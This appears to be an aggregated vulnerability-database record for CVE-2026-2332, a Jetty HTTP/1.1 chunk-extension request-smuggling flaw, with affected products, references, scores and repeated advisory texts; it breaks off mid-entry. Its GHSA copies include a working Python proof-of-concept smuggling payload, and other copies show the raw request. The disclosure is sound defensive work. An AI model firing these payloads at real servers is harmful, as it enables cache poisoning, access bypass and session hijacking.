"vendor":"eclipse foundation","product":"eclipse jetty"},{"vendor":"red hat","product":"hawtio hawtio 4.4.0"},{"vendor":"red hat","product":"openshift developer tools and services"},{"vendor":"red hat","product":"openshift developer tools and services 4.12"},{"vendor":"red hat","product":"openshift developer tools and services 4.13"},{"vendor":"red hat","product":"openshift developer tools and services 4.14"},{"vendor":"red hat","product":"openshift developer tools and services 4.15"},{"vendor":"red hat","product":"openshift developer tools and services 4.16"},{"vendor":"red hat","product":"openshift developer tools and services 4.17"},{"vendor":"red hat","product":"openshift developer tools and services 4.18"},{"vendor":"red hat","product":"openshift developer tools and services 4.19"},{"vendor":"red hat","product":"openshift developer tools and services 4.20"},{"vendor":"red hat","product":"openshift developer tools and services 4.21"},{"vendor":"red hat","product":"openshift developer tools and services 4.22"},{"vendor":"red hat","product":"red hat amq broker 7"},{"vendor":"red hat","product":"red hat amq broker 7.13.5"},{"vendor":"red hat","product":"red hat build of apache camel 4 for quarkus 3"},{"vendor":"red hat","product":"red hat build of apache camel 4.18 for quarkus 3.33"},{"vendor":"red hat","product":"red hat build of apache camel 4.18.1 for spring boot 3.5.14"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of apicurio registry 3"},{"vendor":"red hat","product":"red hat build of debezium 2"},{"vendor":"red hat","product":"red hat build of debezium 3"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 7"},{"vendor":"red hat","product":"red hat jboss enterprise application platform 8"},{"vendor":"red hat","product":"red hat jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat jboss web server 6"},{"vendor":"red hat","product":"red hat offline knowledge portal 1.2.12"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat satellite 6"},{"vendor":"red hat","product":"red hat satellite 6.16 for rhel 8"},{"vendor":"red hat","product":"red hat satellite 6.16 for rhel 9"},{"vendor":"red hat","product":"red hat satellite 6.17 for rhel 9"},{"vendor":"red hat","product":"red hat satellite 6.18 for rhel 9"},{"vendor":"red hat","product":"red hat satellite 6.19 for rhel 9"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"streams for apache kafka 2"},{"vendor":"red hat","product":"streams for apache kafka 3"}],"references":[{"url":"https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf","tags":["third-party-advisory","Exploit","Mitigation","Vendor Advisory","advisory","web","article","report"]},{"url":"https://gitlab.eclipse.org/security/cve-assignment/-/issues/89","tags":["issue-tracking","Issue Tracking","Vendor Advisory","report","web","article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2332","tags":["vdb-entry","x_refsource_REDHAT","report","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458187","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50223","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50222","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50263","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:50221","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:20568","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:25089","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60247","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60249","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60248","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60239","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60251","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60246","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60250","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60252","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60259","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60254","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60256","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:14272","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22453","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:21773","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10175","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:17668","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2332","tags":["advisory"]},{"url":"https://w4ke.info/2025/06/18/funky-chunks.html","tags":["web"]},{"url":"https://github.com/advisories/GHSA-355h-qmc2-wpwf","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-66566","tags":["report"]},{"url":"https://bugzilla.redhat.com/2419500","tags":["report"]},{"url":"https://bugzilla.redhat.com/2458187","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-20568.html","tags":["advisory"]},{"url":"https://repo.maven.apache.org/maven2","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/2xxx/CVE-2026-2332.json","tags":["advisory"]},{"url":"https://github.com/jetty/jetty.project","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-2332","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2419500","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_20568.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-66566","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66566","tags":["advisory"]},{"url":"https://github.com/yawkat/lz4-java/commit/33d180cb70c4d93c80fb0dc3ab3002f457e93840","tags":["article"]},{"url":"https://github.com/yawkat/lz4-java/security/advisories/GHSA-cmp6-m4wj-q63q","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-2332","tags":["advisory","report"]},{"url":"https://issues.redhat.com/browse/SAT-42697","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47597","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47598","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47599","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47601","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47602","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47604","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-47605","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50221.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12515","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489812","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12515","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12515","tags":["advisory"]},{"url":"https://github.com/Katello/katello/pull/11712","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54059","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497464","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54059","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54059","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54060","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497466","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54060","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54060","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54297","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492252","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54297","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54297","tags":["advisory"]},{"url":"https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55379","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497452","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55379","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55379","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55380","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2497455","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55380","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55380","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-57236","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492952","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-57236","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57236","tags":["advisory"]},{"url":"https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5v8h-3h3q-446p","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2396054","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2482734","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-44867","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48096","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48147","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48150","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48303","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50222.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-9230","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9230","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9230","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48526","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48526","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48526","tags":["advisory"]},{"url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2460425","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500043","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-44868","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48146","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48289","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50223.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48864","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48864","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48864","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59197","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59197","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59197","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9695","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/releases/tag/12.3.0","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-44866","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48160","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48161","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48162","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48302","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50263.json","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:20568","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20261751-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1261997","tags":["report"]},{"url":"https://bugzilla.suse.com/1262115","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-5795","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-2332","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-2332","title":"HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:\n  *  https://w4ke.info/2025/06/18/funky-chunks.html\n\n  *  https://w4ke.info/2025/10/29/funky-chunks-2.html\n\n\nJetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.\n\n\n\n\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n1;ext=\"val\nX\n0\n\nGET /smuggled HTTP/1.1\n...\n\n\n\n\n\nNote how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T10:59:10.193Z","modified":"2026-09-14T12:04:28.913Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-444","CWE-444"],"updated_at":"2026-11-02T13:48:46.911326Z"}],"euvd":[{"id":"EUVD-2026-22243","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:\n  *  https://w4ke.info/2025/06/18/funky-chunks.html\n\n  *  https://w4ke.info/2025/10/29/funky-chunks-2.html\n\n\nJetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.\n\n\n\n\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n1;ext=\"val\nX\n0\n\nGET /smuggled HTTP/1.1\n...\n\n\n\n\n\nNote how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T10:59:10Z","modified":"2026-09-14T12:04:28Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:21.2136Z"}],"ghsa":[{"id":"GHSA-355h-qmc2-wpwf","title":"Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","description":"### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b'1;a=\"\\r\\n'\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b'\"\\r\\n'\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users' responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html","status":"published","published":"2026-04-14T23:40:31Z","modified":"2026-08-14T18:39:12Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-2332","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:\n  *  https://w4ke.info/2025/06/18/funky-chunks.html\n\n  *  https://w4ke.info/2025/10/29/funky-chunks-2.html\n\n\nJetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.\n\n\n\n\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n1;ext=\"val\nX\n0\n\nGET /smuggled HTTP/1.1\n...\n\n\n\n\n\nNote how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T12:16:21.333Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T14:12:14.37744Z"}],"osv":[{"id":"CVE-2026-2332","title":"HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:\n  *  https://w4ke.info/2025/06/18/funky-chunks.html\n\n  *  https://w4ke.info/2025/10/29/funky-chunks-2.html\n\n\nJetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.\n\n\n\n\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n1;ext=\"val\nX\n0\n\nGET /smuggled HTTP/1.1\n...\n\n\n\n\n\nNote how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T10:59:10.193Z","modified":"2026-10-28T02:30:26.86969639Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T15:44:58.749922Z"},{"id":"DEBIAN-CVE-2026-2332","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:   *  https://w4ke.info/2025/06/18/funky-chunks.html    *  https://w4ke.info/2025/10/29/funky-chunks-2.html   Jetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error.     POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked  1;ext=\"val X 0  GET /smuggled HTTP/1.1 ...      Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T12:16:21.333Z","modified":"2026-10-27T10:00:27.327409098Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:45:53.516942Z"},{"id":"GHSA-355h-qmc2-wpwf","title":"Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing","description":"### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b'1;a=\"\\r\\n'\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b'\"\\r\\n'\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b'HTTP/')}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users' responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html","status":"published","published":"2026-04-14T23:40:31Z","modified":"2026-09-10T03:50:42.440988142Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"RHLW-2026-37913c8c5f4bdea1","title":"Lightwell Security Advisory: jetty-ee10-demo-async-rest-jar 12.0.32.rhlw-00002","description":"Red Hat Lightwell has released org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar 12.0.32.rhlw-00002 with a backported security fix.\n\nCVE-2026-2332: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing\n\nThis patched artifact is a drop-in replacement for org.eclipse.jetty.ee10.demos:jetty-ee10-demo-async-rest-jar 12.0.32 from Maven Central.","status":"published","published":"2026-10-08T19:46:22Z","modified":"2026-10-27T04:00:07.24185096Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHLW-2026-c317e2781ff17b2f","title":"Lightwell Security Advisory: jetty-http 12.0.32.rhlw-00002","description":"Red Hat Lightwell has released org.eclipse.jetty:jetty-http 12.0.32.rhlw-00002 with a backported security fix.\n\nCVE-2026-2332: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing\n\nThis patched artifact is a drop-in replacement for org.eclipse.jetty:jetty-http 12.0.32 from Maven 